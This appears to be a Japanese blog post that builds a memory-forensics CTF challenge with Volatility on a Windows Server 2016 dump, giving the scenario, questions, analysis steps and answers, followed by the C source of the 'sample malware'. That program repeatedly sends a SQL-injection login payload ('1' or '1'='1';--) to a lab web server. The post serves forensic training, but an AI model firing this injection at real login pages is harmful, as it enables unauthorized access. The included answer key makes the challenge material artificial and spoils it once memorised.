Memory Forensics2 for CTF

 Volatilityを用いたメモリフォレンジック検証第二弾。
 前回はWindows10(Build19042)を用いたメモリ解析を実施したが、解析上、以下の問題があった。

・特定の宛先への通信を行うプログラムを実行した状態でメモリダンプを実施したものの、Volatilityのnetscanコマンドで該当通信を発生させているプロセスIDの表示が「-1」になる
・yarascanで宛先アドレスを検索キーワードに指定して検索すると該当の文字列が含まれるプロセスが列挙されるものの、複数列挙されるためどれが元のプログラムかわからない

 プロセスID表示が「-1」になる問題はいろいろなホームページでも報告されている。原因は特定できていないが、考えられるのは分析用のプロファイルがWin10の場合、Build19041までしか用意されていないのが1つと考える。そのため解析プロファイルが用意されているWindows Server 2016(Build 14393)で同様の検証を実施したところ、プロセスIDが正しく表示されることを確認した。
 
 CTFの問題としてはプロセスIDが正しく表示されるメモリイメージを用いて以下の設問を用意する。

■問題の背景
 ある外部の組織からA社のIPアドレスから攻撃を受けているとの連絡があった。A社の情報セキュリティ担当者であるあなたは、攻撃元と思われる送信元IPアドレスの情報を入手し、FWのログから内部のサーバ(Windows Server 2016)からの通信であることを突き止めた。あなたはサーバのメモリダンプを取得したあと、サーバをNWから切断した。

■問題1
 取得したメモリダンプからIPアドレスA.B.C.Dへの通信を行ったプロセス名を答えよ。分析にはVolatilityを用いることができる。なお、Volatilityで分析を行う際のプロファイルは「Win2016x64_14393」を用いること。
 コマンド例)python vol.py -f ./dump.mem –profile=Win2016x64_14393 netscan

■問題2
 攻撃を行ったプロセスをdumpしてどのような攻撃を行ったか答えよ。

分析用のWindows Server 2016(Build 14393)

攻撃用プログラムを実行、RamCaptureでメモリダンプ実施。

Volatilityのnetscanによる解析

netscan解析の続き。該当の宛先への通信を行っているプロセスID(3560)とプロセス名(b.exe)が判別できる。

該当のプロセスを以下コマンドでダンプする。
python vol.py -f ./dump.mem –profile=Win2016x64_14393 procdump -p 3560 -D .

ダンプしたファイルをstringsコマンドで解析実施

POSTメソッドで通信を行っていることがわかる。

さらにIDAで解析を実施するとlogin.phpに対してPOSTメソッドでuser_idパラメータに対しSQLインジェクションを実施していることがわかる。

 Volatilityを用いた解析により、問題1の回答は「b.exe」、問題2の回答は「SQLインジェクション」であることがわかる。

 サンプルマルウェアプログラムのソースコードは以下となる。
 ※1回のWebサイトへの接続だけではメモリダンプ中にセッションが切れてしまうので、keep-alive要求しながら複数回のSQLインジェクションを同一セッションで行うようにしている。
(コンパイル:gcc a.c -lws2_32)

#include<stdio.h>
#include <windows.h>
#include<winsock2.h>

#pragma comment(lib,"ws2_32.lib") //Winsock Library

int main(int argc , char *argv[])
{
	WSADATA wsa;
	SOCKET s;
	struct sockaddr_in server;
	char *message , server_reply[2000];
	int recv_size;
	int i=0;

	printf("\nInitialising Winsock...");
	if (WSAStartup(MAKEWORD(2,2),&wsa) != 0)
	{
		printf("Failed. Error Code : %d",WSAGetLastError());
		return 1;
	}
	
	printf("Initialised.\n");
	
	//Create a socket
	if((s = socket(AF_INET , SOCK_STREAM , 0 )) == INVALID_SOCKET)
	{
		printf("Could not create socket : %d" , WSAGetLastError());
	}

	printf("Socket created.\n");
	
	
	server.sin_addr.s_addr = inet_addr("192.168.1.1");
	server.sin_family = AF_INET;
	server.sin_port = htons( 80 );

	//Connect to remote server
	if (connect(s , (struct sockaddr *)&server , sizeof(server)) < 0)
	{
		puts("connect error");
		return 1;
	}
	
	puts("Connected");


	while(i < 30){
		//Send some data
		message = "POST /login.php HTTP/1.1\r\nHost: 192.168.1.1\r\nConnection: keep-alive\r\nContent-Length: 49\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nuser_id=1%27+or+%271%27+%3D+%271%27%3B--+&passwd=";
		if( send(s , message , strlen(message) , 0) < 0)
		{
			puts("Send failed");
			return 1;
		}
		puts("Data Send\n");
		Sleep(3500);

		//Receive a reply from the server
		if((recv_size = recv(s , server_reply , 2000 , 0)) == SOCKET_ERROR)
		{
			puts("recv failed");
		}
	
		puts("Reply received\n");

		//Add a NULL terminating character to make it a proper string before printing
		server_reply[recv_size] = '\0';

		puts(server_reply);

		i++;
	}

	return 0;
}

コメントをどうぞ